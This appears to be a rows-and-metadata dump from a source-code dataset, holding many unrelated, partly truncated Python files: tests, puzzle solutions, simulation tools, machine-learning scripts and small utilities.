hexsha
stringlengths
40
40
size
int64
6
782k
ext
stringclasses
7 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
237
max_stars_repo_name
stringlengths
6
72
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
list
max_stars_count
int64
1
53k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
184
max_issues_repo_name
stringlengths
6
72
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
list
max_issues_count
int64
1
27.1k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
184
max_forks_repo_name
stringlengths
6
72
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
list
max_forks_count
int64
1
12.2k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
782k
avg_line_length
float64
2.75
664k
max_line_length
int64
5
782k
alphanum_fraction
float64
0
1
6f3a5cbd3965ec4a24b001dfab204cff3a900235
1,568
py
Python
src/visitpy/visit_utils/tests/test_ult.py
visit-dav/vis
c08bc6e538ecd7d30ddc6399ec3022b9e062127e
[ "BSD-3-Clause" ]
226
2018-12-29T01:13:49.000Z
2022-03-30T19:16:31.000Z
src/visitpy/visit_utils/tests/test_ult.py
visit-dav/vis
c08bc6e538ecd7d30ddc6399ec3022b9e062127e
[ "BSD-3-Clause" ]
5,100
2019-01-14T18:19:25.000Z
2022-03-31T23:08:36.000Z
src/visitpy/visit_utils/tests/test_ult.py
visit-dav/vis
c08bc6e538ecd7d30ddc6399ec3022b9e062127e
[ "BSD-3-Clause" ]
84
2019-01-24T17:41:50.000Z
2022-03-10T10:01:46.000Z
# Copyright (c) Lawrence Livermore National Security, LLC and other VisIt # Project developers. See the top-level LICENSE file for dates and other # details. No copyright assignment is required to contribute to VisIt. """ file: test_ult.py author: Cyrus Harrison (cyrush@llnl.gov) created: 4/18/2014 description: ...
25.704918
73
0.66199
6f3e35027081be6cf68fd118bda2527dfbf38d2b
4,119
py
Python
tests/nlu/test_components.py
techBeck03/rasa
72fef6e7742f5ccb8614c75b6410dff68f137554
[ "Apache-2.0" ]
2
2020-02-27T16:41:52.000Z
2020-02-27T16:41:57.000Z
tests/nlu/test_components.py
alfredfrancis/rasa
d8d226408f20cc2563c3aefbccef3e364a447666
[ "Apache-2.0" ]
56
2020-06-09T00:16:14.000Z
2020-11-16T00:25:20.000Z
tests/nlu/test_components.py
alfredfrancis/rasa
d8d226408f20cc2563c3aefbccef3e364a447666
[ "Apache-2.0" ]
3
2019-02-27T10:13:16.000Z
2019-07-26T08:33:45.000Z
import pytest from typing import Tuple from rasa.nlu import registry from rasa.nlu.components import find_unavailable_packages from rasa.nlu.config import RasaNLUModelConfig from rasa.nlu.model import Metadata from tests.nlu import utilities @pytest.mark.parametrize("component_class", registry.component_classes) def...
36.131579
87
0.73513
48adb1258de29991ef2f46c28a436c2748b53734
1,330
py
Python
Python/Buch_ATBS/Teil_1/Kapitel_05_Dictionary_und_Datenstrukturen/04_tic_tac_toe.py
Apop85/Scripts
1d8dad316c55e1f1343526eac9e4b3d0909e4873
[ "MIT" ]
null
null
null
Python/Buch_ATBS/Teil_1/Kapitel_05_Dictionary_und_Datenstrukturen/04_tic_tac_toe.py
Apop85/Scripts
1d8dad316c55e1f1343526eac9e4b3d0909e4873
[ "MIT" ]
6
2020-12-24T15:15:09.000Z
2022-01-13T01:58:35.000Z
Python/Buch_ATBS/Teil_1/Kapitel_05_Dictionary_und_Datenstrukturen/04_tic_tac_toe.py
Apop85/Scripts
1d8dad316c55e1f1343526eac9e4b3d0909e4873
[ "MIT" ]
null
null
null
# Klassisches Tic-Tac-Toe für zwei Spieler grid={'f7' : ' ', 'f8' : ' ', 'f9' : ' ', 'f4' : ' ', 'f5' : ' ', 'f6' : ' ', 'f1' : ' ', 'f2' : ' ', 'f3' : ' '} def board(board): print('') print(board['f7']+'|'+board['f8']+'|'+board['f9']) print('-+-+-') print(board['f4']+'|'+board['f5']+'|'+b...
24.181818
84
0.442857
5b051347177f404f0321f3cab609c2e40994a53a
222
py
Python
pvtool/routes/__init__.py
schmocker/pv-FHNW
5066e0bc7ce76be5d1a930b50034c746b232a9f8
[ "MIT" ]
1
2019-10-31T13:34:12.000Z
2019-10-31T13:34:12.000Z
pvtool/routes/__init__.py
schmocker/pv-FHNW
5066e0bc7ce76be5d1a930b50034c746b232a9f8
[ "MIT" ]
1
2019-05-27T13:03:25.000Z
2019-05-27T13:03:25.000Z
pvtool/routes/__init__.py
schmocker/pv-FHNW
5066e0bc7ce76be5d1a930b50034c746b232a9f8
[ "MIT" ]
null
null
null
from ._main import main_routes, page_not_found, internal_server_error from ._pv_modules import pv_modules_routes from ._measurement import measurement_routes from ._data import data_routes from ._users import users_routes
37
69
0.869369
816e2e0a37245c5861bfe53ea5ccade2c7687eb8
379
py
Python
Codeforces_problems/Next Round/solution.py
gbrls/CompetitiveCode
b6f1b817a655635c3c843d40bd05793406fea9c6
[ "MIT" ]
165
2020-10-03T08:01:11.000Z
2022-03-31T02:42:08.000Z
Codeforces_problems/Next Round/solution.py
gbrls/CompetitiveCode
b6f1b817a655635c3c843d40bd05793406fea9c6
[ "MIT" ]
383
2020-10-03T07:39:11.000Z
2021-11-20T07:06:35.000Z
Codeforces_problems/Next Round/solution.py
gbrls/CompetitiveCode
b6f1b817a655635c3c843d40bd05793406fea9c6
[ "MIT" ]
380
2020-10-03T08:05:04.000Z
2022-03-19T06:56:59.000Z
n, k = map(int, input().split()) #taking number of elements and k as input x = [] x = [int(x) for x in input().split()] #inputting elements in list x[] count = 0 #initialising count to 0 for i in x: if i>=x[k-1] and i>0: #checking if score is greater than kth place score and positive count=count+1 print(...
34.454545
89
0.680739
4848e61aa0df36ccca51e562d0acdaf03c902024
720
py
Python
src/video_transcoding/celery.py
serzh-unknown/django-video-transcoding
a9048a83ff71e214a215f271d8809f98c1db44b0
[ "MIT" ]
21
2020-02-07T17:40:16.000Z
2021-09-02T18:56:21.000Z
src/video_transcoding/celery.py
serzh-unknown/django-video-transcoding
a9048a83ff71e214a215f271d8809f98c1db44b0
[ "MIT" ]
184
2020-02-09T10:46:17.000Z
2022-03-28T00:53:04.000Z
src/video_transcoding/celery.py
serzh-unknown/django-video-transcoding
a9048a83ff71e214a215f271d8809f98c1db44b0
[ "MIT" ]
6
2020-02-07T13:58:33.000Z
2021-07-27T16:24:56.000Z
import os import signal from typing import Any from celery import Celery from celery.signals import worker_shutting_down from celery.utils.log import get_logger from django.conf import settings from video_transcoding import defaults app = Celery(defaults.CELERY_APP_NAME) app.config_from_object(defaults.VIDEO_TRANSCO...
30
76
0.816667
fba7b588a71f694dfb9efebb784c9c4090768f41
307
py
Python
two-sum-ii-input-array-is-sorted/two-sum-ii-input-array-is-sorted.py
hyeseonko/LeetCode
48dfc93f1638e13041d8ce1420517a886abbdc77
[ "MIT" ]
2
2021-12-05T14:29:06.000Z
2022-01-01T05:46:13.000Z
two-sum-ii-input-array-is-sorted/two-sum-ii-input-array-is-sorted.py
hyeseonko/LeetCode
48dfc93f1638e13041d8ce1420517a886abbdc77
[ "MIT" ]
null
null
null
two-sum-ii-input-array-is-sorted/two-sum-ii-input-array-is-sorted.py
hyeseonko/LeetCode
48dfc93f1638e13041d8ce1420517a886abbdc77
[ "MIT" ]
null
null
null
class Solution: def twoSum(self, numbers: List[int], target: int) -> List[int]: for i, num in enumerate(numbers): target2 = target - num try: j = numbers[i+1:].index(target2) return [i+1, i+j+2] except: continue
34.111111
67
0.478827
fbbe0821f793204905a060907f25557a6ed3824a
1,799
py
Python
source/pkgsrc/lang/python27/patches/patch-Lib_distutils_command_install__egg__info.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
1
2021-11-20T22:46:39.000Z
2021-11-20T22:46:39.000Z
source/pkgsrc/lang/python27/patches/patch-Lib_distutils_command_install__egg__info.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
null
null
null
source/pkgsrc/lang/python27/patches/patch-Lib_distutils_command_install__egg__info.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
null
null
null
$NetBSD: patch-Lib_distutils_command_install__egg__info.py,v 1.2 2020/08/22 13:01:42 schmonz Exp $ On systems where both of the conditions 1. LD_LIBRARY_PATH does _not_ take precedence over DT_RPATH (e.g. Linux) 2. A previous libpython with the same major.minor is already installed (e.g. a previous version of t...
46.128205
98
0.728182
83e888682cae8c86add392a5ab97c101b9a7e146
1,271
py
Python
TwitterDataCollect/StreamingTweetCollection.py
dxmahata/TwitterSentimentAnalysis
b228747dfa74266853d4f8e6d4bc4eb29c080dd3
[ "MIT" ]
null
null
null
TwitterDataCollect/StreamingTweetCollection.py
dxmahata/TwitterSentimentAnalysis
b228747dfa74266853d4f8e6d4bc4eb29c080dd3
[ "MIT" ]
null
null
null
TwitterDataCollect/StreamingTweetCollection.py
dxmahata/TwitterSentimentAnalysis
b228747dfa74266853d4f8e6d4bc4eb29c080dd3
[ "MIT" ]
null
null
null
__author__ = 'Debanjan Mahata' from twython import TwythonStreamer from TwitterAuthentication import keyList from time import sleep from random import randint import sys,codecs # from pymongo import MongoClient # #connecting to MongoDB database # mongoObj = MongoClient() # #setting the MongoDB database # db = mongoOb...
23.109091
110
0.675846
f7d0ec603dae4d05f077c189150dc27a866da11f
1,430
py
Python
Problems/Breadth-FirstSearch/Medium/WaterJugProblem/water_and_jug_problem.py
dolong2110/Algorithm-By-Problems-Python
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
[ "MIT" ]
null
null
null
Problems/Breadth-FirstSearch/Medium/WaterJugProblem/water_and_jug_problem.py
dolong2110/Algorithm-By-Problems-Python
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
[ "MIT" ]
null
null
null
Problems/Breadth-FirstSearch/Medium/WaterJugProblem/water_and_jug_problem.py
dolong2110/Algorithm-By-Problems-Python
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
[ "MIT" ]
null
null
null
# 1. Math greatest common divisor (GCD) def canMeasureWater(self, jug1Capacity: int, jug2Capacity: int, targetCapacity: int) -> bool: def gcd(x: int, y: int) -> int: if x < y : x, y = y, x while x != y and y != 0 : remainder = x % y x = y...
33.255814
126
0.417483
f721d8be22e254b94549fbcd3026017e54e07cae
444
py
Python
microkg/releaser.py
goude/microkg
2d4007bc2dcd6e240b6ba84991189ff66ff80969
[ "MIT" ]
null
null
null
microkg/releaser.py
goude/microkg
2d4007bc2dcd6e240b6ba84991189ff66ff80969
[ "MIT" ]
1
2021-06-02T00:43:28.000Z
2021-06-02T00:43:28.000Z
microkg/releaser.py
goude/microkg
2d4007bc2dcd6e240b6ba84991189ff66ff80969
[ "MIT" ]
null
null
null
from pathlib import Path def release(data: dict, outfile: Path) -> None: with open(outfile, "w") as fh: fls = [dd["flags"] for dd in data["data"]] fh.write("|".join(fls)) def main() -> None: from . import parser infile = Path("sources/rout.txt") outfile = Path("releases/latest/windo...
21.142857
50
0.617117
e3c02dee5986348f0f3d928b76a8e54038618cf4
466
py
Python
Packs/ApiModules/Scripts/AnsibleApiModule/TestsInput/ansible_keys.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Packs/ApiModules/Scripts/AnsibleApiModule/TestsInput/ansible_keys.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Packs/ApiModules/Scripts/AnsibleApiModule/TestsInput/ansible_keys.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
MOCK_ANSIBLE_DICT = { 'ansible_result': '0', 'test': 'string', 'lvl2': {'ansible_facts': 'long list of data'} } EXPECTED_ANSIBLE_DICT = { 'result': '0', 'test': 'string', 'lvl2': {'facts': 'long list of data'} } MOCK_ANSIBLELESS_DICT = { 'result': '0', 'test': 'string', 'lvl2': {'f...
20.26087
50
0.55794
580caf0981862a37f5bf01ec1a60acb0aaf0cdc4
119
py
Python
components/py_engine/adapter/esp32/fs/boot.py
wstong999/AliOS-Things
6554769cb5b797e28a30a4aa89b3f4cb2ef2f5d9
[ "Apache-2.0" ]
null
null
null
components/py_engine/adapter/esp32/fs/boot.py
wstong999/AliOS-Things
6554769cb5b797e28a30a4aa89b3f4cb2ef2f5d9
[ "Apache-2.0" ]
null
null
null
components/py_engine/adapter/esp32/fs/boot.py
wstong999/AliOS-Things
6554769cb5b797e28a30a4aa89b3f4cb2ef2f5d9
[ "Apache-2.0" ]
null
null
null
import kv kv_ret = kv.get('enableOneMinuteOnCloud') if (kv_ret != 'disable'): execfile('/lib/oneMinuteOnCloud.py')
23.8
41
0.714286
542ebc7e4f32574f1b879508e7c61e387c851e59
1,536
py
Python
hyperts/transformers.py
zhangxjohn/HyperTS
c43c8d820d26dd362510997c1c294341279ce1e1
[ "Apache-2.0" ]
null
null
null
hyperts/transformers.py
zhangxjohn/HyperTS
c43c8d820d26dd362510997c1c294341279ce1e1
[ "Apache-2.0" ]
null
null
null
hyperts/transformers.py
zhangxjohn/HyperTS
c43c8d820d26dd362510997c1c294341279ce1e1
[ "Apache-2.0" ]
null
null
null
import numpy as np from sklearn.base import BaseEstimator, TransformerMixin from hypernets.pipeline.base import HyperTransformer class TimeSeriesTransformer: def __init__(self, time_series_col=None): self.time_series_col = time_series_col def transform(self, X, y=None, **kwargs): # TODO: ...
25.6
85
0.669922
54352cd28f01f39378343ec70f8a1663b595504d
66
py
Python
test/logText.py
wchming1987/Tumbler
e309771779c8eb44e685adbb691a428d29009e05
[ "Apache-2.0" ]
null
null
null
test/logText.py
wchming1987/Tumbler
e309771779c8eb44e685adbb691a428d29009e05
[ "Apache-2.0" ]
null
null
null
test/logText.py
wchming1987/Tumbler
e309771779c8eb44e685adbb691a428d29009e05
[ "Apache-2.0" ]
null
null
null
# coding='utf8' from lib import log log.logger.info('fsfffdsf')
11
27
0.712121
49c4e3c0c1eedd89117bad29f52bf7eb0a41877e
32,770
py
Python
Co-Simulation/Sumo/sumo-1.7.0/tools/contributed/sumopy/coremodules/simulation/results_mpl-01-preimportlib.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
4
2020-11-13T02:35:56.000Z
2021-03-29T20:15:54.000Z
Co-Simulation/Sumo/sumo-1.7.0/tools/contributed/sumopy/coremodules/simulation/results_mpl-01-preimportlib.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
9
2020-12-09T02:12:39.000Z
2021-02-18T00:15:28.000Z
Co-Simulation/Sumo/sumo-1.7.0/tools/contributed/sumopy/coremodules/simulation/results_mpl-01-preimportlib.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
1
2020-11-20T19:31:26.000Z
2020-11-20T19:31:26.000Z
# Eclipse SUMO, Simulation of Urban MObility; see https://eclipse.org/sumo # Copyright (C) 2016-2020 German Aerospace Center (DLR) and others. # SUMOPy module # Copyright (C) 2012-2017 University of Bologna - DICAM # This program and the accompanying materials are made available under the # terms of the Eclipse Public ...
50.183767
187
0.483705
49dc636043c5263a4b38c695d8a1d72d029b7945
7,048
py
Python
train.py
ottermegazord/nmt-graph
7e2f73cd617fe262d984eb05f2157f7aebac8982
[ "MIT" ]
null
null
null
train.py
ottermegazord/nmt-graph
7e2f73cd617fe262d984eb05f2157f7aebac8982
[ "MIT" ]
null
null
null
train.py
ottermegazord/nmt-graph
7e2f73cd617fe262d984eb05f2157f7aebac8982
[ "MIT" ]
null
null
null
""" *************************************************************************************** * * Yara English to Cypher Neural Machine Translation * * * Name : Idaly Ali * * Designation : Research Scientist * * Description : Seq2Seq: Neural Machine Translation with Attention for translation * ...
35.24
110
0.653802
b7b28717da618e5b7a783cc730e7b1459c2d6082
3,006
py
Python
official/cv/crnn/ascend310_quant_infer/post_quant.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
official/cv/crnn/ascend310_quant_infer/post_quant.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
official/cv/crnn/ascend310_quant_infer/post_quant.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
38.050633
116
0.705589
12b37bac727202caf98bfc22950df1f3a33b86df
21,678
py
Python
Co-Simulation/Sumo/sumo-1.7.0/tools/contributed/sumopy/coremodules/demand/virtualpop_results_mpl.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
4
2020-11-13T02:35:56.000Z
2021-03-29T20:15:54.000Z
Co-Simulation/Sumo/sumo-1.7.0/tools/contributed/sumopy/coremodules/demand/virtualpop_results_mpl.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
9
2020-12-09T02:12:39.000Z
2021-02-18T00:15:28.000Z
Co-Simulation/Sumo/sumo-1.7.0/tools/contributed/sumopy/coremodules/demand/virtualpop_results_mpl.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
1
2020-11-20T19:31:26.000Z
2020-11-20T19:31:26.000Z
# Eclipse SUMO, Simulation of Urban MObility; see https://eclipse.org/sumo # Copyright (C) 2016-2020 German Aerospace Center (DLR) and others. # SUMOPy module # Copyright (C) 2012-2017 University of Bologna - DICAM # This program and the accompanying materials are made available under the # terms of the Eclipse Public ...
49.949309
150
0.51836
67d47f259a66c2b566b1ee7f2c51a47f9433a58a
884
py
Python
tests/data/test_wrds_comp_funda.py
mgao6767/wrds
7dca2651a181bf38c61ebde675c9f64d6c96f608
[ "MIT" ]
31
2020-06-17T13:19:12.000Z
2022-03-27T08:56:38.000Z
tests/data/test_wrds_comp_funda.py
mgao6767/wrds
7dca2651a181bf38c61ebde675c9f64d6c96f608
[ "MIT" ]
null
null
null
tests/data/test_wrds_comp_funda.py
mgao6767/wrds
7dca2651a181bf38c61ebde675c9f64d6c96f608
[ "MIT" ]
8
2020-06-14T15:21:51.000Z
2021-09-29T06:28:53.000Z
import unittest import pandas as pd from frds.data.wrds.comp import Funda from frds.io.wrds import load class FundaLoadTestCase(unittest.TestCase): def setUp(self) -> None: self.FUNDA = load(Funda, use_cache=False, save=False, obs=100) def test_load_funda(self): self.assertIsInstance(self.FUN...
28.516129
70
0.651584
67f8f1f1383f436eccd747b700ed8b667513ea17
1,640
py
Python
02 Hardwaredesign/Grundschaltungen/src/button_pullup_internal.py
DennisSchulmeister/dhbwka-wwi-iottech-quellcodes
58f86907af31187f267a9ea476f061cc59098ebd
[ "CC-BY-4.0" ]
null
null
null
02 Hardwaredesign/Grundschaltungen/src/button_pullup_internal.py
DennisSchulmeister/dhbwka-wwi-iottech-quellcodes
58f86907af31187f267a9ea476f061cc59098ebd
[ "CC-BY-4.0" ]
null
null
null
02 Hardwaredesign/Grundschaltungen/src/button_pullup_internal.py
DennisSchulmeister/dhbwka-wwi-iottech-quellcodes
58f86907af31187f267a9ea476f061cc59098ebd
[ "CC-BY-4.0" ]
1
2020-10-10T20:24:05.000Z
2020-10-10T20:24:05.000Z
#! ./env/bin/python3 #encoding=utf-8 # Copyright (C) 2019 Dennis Schulmeister-Zimolong # # E-Mail: dhbw@windows3.de # Webseite: https://www.wpvs.de # # Dieser Quellcode ist lizenziert unter einer # Creative Commons Namensnennung 4.0 International Lizenz """ Minimalbeispiel zum Auslesen eines Hardware-Buttons, der mit...
27.79661
70
0.697561
453b282d7f283480144706b85a514d4feeb92411
641
py
Python
Packs/AttachmentsPreProcessing/Scripts/GetFilePathPreProcessing/GetFilePathPreProcessing.py
jrauen/content
81a92be1cbb053a5f26a6f325eff3afc0ca840e0
[ "MIT" ]
1
2021-11-02T05:36:38.000Z
2021-11-02T05:36:38.000Z
Packs/AttachmentsPreProcessing/Scripts/GetFilePathPreProcessing/GetFilePathPreProcessing.py
jrauen/content
81a92be1cbb053a5f26a6f325eff3afc0ca840e0
[ "MIT" ]
61
2021-10-07T08:54:38.000Z
2022-03-31T10:25:35.000Z
Packs/AttachmentsPreProcessing/Scripts/GetFilePathPreProcessing/GetFilePathPreProcessing.py
jrauen/content
81a92be1cbb053a5f26a6f325eff3afc0ca840e0
[ "MIT" ]
null
null
null
import time import demistomock as demisto # noqa: F401 from CommonServerPython import * # noqa: F401 attachments = demisto.incidents()[0].get("attachment") files = [] if attachments is not None: for attachment in attachments: files.append({"path": attachment["path"], "name": attachment["name"]}) # ...
35.611111
93
0.681747
184e32a2bb19cffb684c1e328e18e694ea841b11
132
py
Python
Problems/Dynamic Programming/Easy/FinbonacciNumber/fibonacci.py
dolong2110/Algorithm-By-Problems-Python
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
[ "MIT" ]
1
2021-08-16T14:52:05.000Z
2021-08-16T14:52:05.000Z
Problems/Dynamic Programming/Easy/FinbonacciNumber/fibonacci.py
dolong2110/Algorithm-By-Problems-Python
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
[ "MIT" ]
null
null
null
Problems/Dynamic Programming/Easy/FinbonacciNumber/fibonacci.py
dolong2110/Algorithm-By-Problems-Python
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
[ "MIT" ]
null
null
null
def fib(n: int) -> int: ans = [0, 1] for i in range(2, n + 1): ans.append(ans[i - 1] + ans[i - 2]) return ans[n]
26.4
43
0.462121
a143f6a00b42e5838a3eaaa7a7b47f6da0a8f2b4
1,334
py
Python
7_DeepLearning-GANs/04_Generative_Adversarial_Attacks/mnistCnn.py
felixdittrich92/DeepLearning-tensorflow-keras
2880d8ed28ba87f28851affa92b6fa99d2e47be9
[ "Apache-2.0" ]
null
null
null
7_DeepLearning-GANs/04_Generative_Adversarial_Attacks/mnistCnn.py
felixdittrich92/DeepLearning-tensorflow-keras
2880d8ed28ba87f28851affa92b6fa99d2e47be9
[ "Apache-2.0" ]
null
null
null
7_DeepLearning-GANs/04_Generative_Adversarial_Attacks/mnistCnn.py
felixdittrich92/DeepLearning-tensorflow-keras
2880d8ed28ba87f28851affa92b6fa99d2e47be9
[ "Apache-2.0" ]
null
null
null
import tensorflow as tf # fix CuDnn problem gpus = tf.config.experimental.list_physical_devices('GPU') if gpus: try: tf.config.experimental.set_virtual_device_configuration(gpus[0], [tf.config.experimental.VirtualDeviceConfiguration(memory_limit=4096)]) except RuntimeError as e: print(e) fro...
30.318182
141
0.653673
a19d6a8e48f0df52b967045cf04d9879b0bb19a8
5,117
py
Python
research/cv/FaceDetection/postprocess.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
research/cv/FaceDetection/postprocess.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
research/cv/FaceDetection/postprocess.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
44.112069
112
0.635138
6294c093b39f08a1d0d8b6daf87985a39704fa4e
327
py
Python
day02/numberManipulation.py
nurmatthias/100DaysOfCode
22002e4b31d13e6b52e6b9222d2e91c2070c5744
[ "Apache-2.0" ]
null
null
null
day02/numberManipulation.py
nurmatthias/100DaysOfCode
22002e4b31d13e6b52e6b9222d2e91c2070c5744
[ "Apache-2.0" ]
null
null
null
day02/numberManipulation.py
nurmatthias/100DaysOfCode
22002e4b31d13e6b52e6b9222d2e91c2070c5744
[ "Apache-2.0" ]
null
null
null
# Schneidet Nachkomme ab print(int(8 / 3)) # Runden auf ganze Zahl print(round(8 / 3)) # Runden auf 2 Nachkommastellen print(round(8 / 3, 2)) # Shortcut für score = score + 1 score = 0 score += 1 print(score) # F-String # Automatisch concatenieren und umwandeln # String muss mit f anfangen print(f"your score is {s...
17.210526
41
0.703364
1a00355e95c9bc11e77c606a8b221414642fd41c
141
py
Python
sound.py
ihrigb/stagebuzzer
dbce1c5fa59a6f22e74d84ccc96d4d1a28a5b680
[ "Apache-2.0" ]
null
null
null
sound.py
ihrigb/stagebuzzer
dbce1c5fa59a6f22e74d84ccc96d4d1a28a5b680
[ "Apache-2.0" ]
null
null
null
sound.py
ihrigb/stagebuzzer
dbce1c5fa59a6f22e74d84ccc96d4d1a28a5b680
[ "Apache-2.0" ]
null
null
null
import simpleaudio wave_obj = simpleaudio.WaveObject.from_wave_file('/mnt/usb/AirHorn.wav') play_obj = wave_obj.play() play_obj.wait_done()
23.5
72
0.801418
3d9da827ee1ddc0c1727e7115936613e1b9dc92d
1,202
py
Python
Misc/H Pattern Problem/Solution.py
gbrls/CompetitiveCode
b6f1b817a655635c3c843d40bd05793406fea9c6
[ "MIT" ]
165
2020-10-03T08:01:11.000Z
2022-03-31T02:42:08.000Z
Misc/H Pattern Problem/Solution.py
gbrls/CompetitiveCode
b6f1b817a655635c3c843d40bd05793406fea9c6
[ "MIT" ]
383
2020-10-03T07:39:11.000Z
2021-11-20T07:06:35.000Z
Misc/H Pattern Problem/Solution.py
gbrls/CompetitiveCode
b6f1b817a655635c3c843d40bd05793406fea9c6
[ "MIT" ]
380
2020-10-03T08:05:04.000Z
2022-03-19T06:56:59.000Z
# In Python, a string of text can be aligned left, right and center. # .ljust(width) # This method returns a left aligned string of length width. # >>> width = 20 # >>> print 'HackerRank'.ljust(width,'-') # HackerRank---------- # .center(width) # This method returns a centered string of length width. # >>> width = 20...
29.317073
107
0.668885
3dc461248dc2f3c135ff95b63d954bb21e0b502e
5,130
py
Python
core/find_optimal.py
kklocker/EiT-WiFi-placer
c2c621baa06377d62567d7bd0c2f048f1e6c0859
[ "MIT" ]
null
null
null
core/find_optimal.py
kklocker/EiT-WiFi-placer
c2c621baa06377d62567d7bd0c2f048f1e6c0859
[ "MIT" ]
null
null
null
core/find_optimal.py
kklocker/EiT-WiFi-placer
c2c621baa06377d62567d7bd0c2f048f1e6c0859
[ "MIT" ]
null
null
null
import matplotlib.pyplot as plt import numpy as np from dask import delayed, compute import dask.array as da import scipy from scipy.signal import convolve2d from wifi_matrix import ( generate_lu, solve_system, parse_image, generate_A, solve_single_system, ) from gaussianGrid import gauss_grid from...
30.176471
98
0.598051
b1091cedbf3a373010521922c198323ea0e24443
1,690
py
Python
python/asyncio/framework/response.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
python/asyncio/framework/response.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
python/asyncio/framework/response.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
import http.server web_response = http.server.BaseHTTPRequestHandler.responses class Response: _encoding = 'utf-8' def __init__( self, body=None, status=200, content_type='text/plain', headers=None, version='1.1', ): self._v...
23.802817
89
0.563905
b13a0b3afb7113debeb193a0e7b877301e75ad1d
640
py
Python
src/onegov/wtfs/layouts/payment_type.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/wtfs/layouts/payment_type.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/wtfs/layouts/payment_type.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
from cached_property import cached_property from onegov.core.elements import Link from onegov.wtfs import _ from onegov.wtfs.layouts.default import DefaultLayout class PaymentTypesLayout(DefaultLayout): @cached_property def title(self): return _("Manage payment types") @cached_property def b...
23.703704
59
0.690625
b1ae53547dfc993112714b92ad050bc82244a912
3,396
py
Python
examples/language_model/roberta/utils.py
mukaiu/PaddleNLP
0315365dbafa6e3b1c7147121ba85e05884125a5
[ "Apache-2.0" ]
null
null
null
examples/language_model/roberta/utils.py
mukaiu/PaddleNLP
0315365dbafa6e3b1c7147121ba85e05884125a5
[ "Apache-2.0" ]
null
null
null
examples/language_model/roberta/utils.py
mukaiu/PaddleNLP
0315365dbafa6e3b1c7147121ba85e05884125a5
[ "Apache-2.0" ]
null
null
null
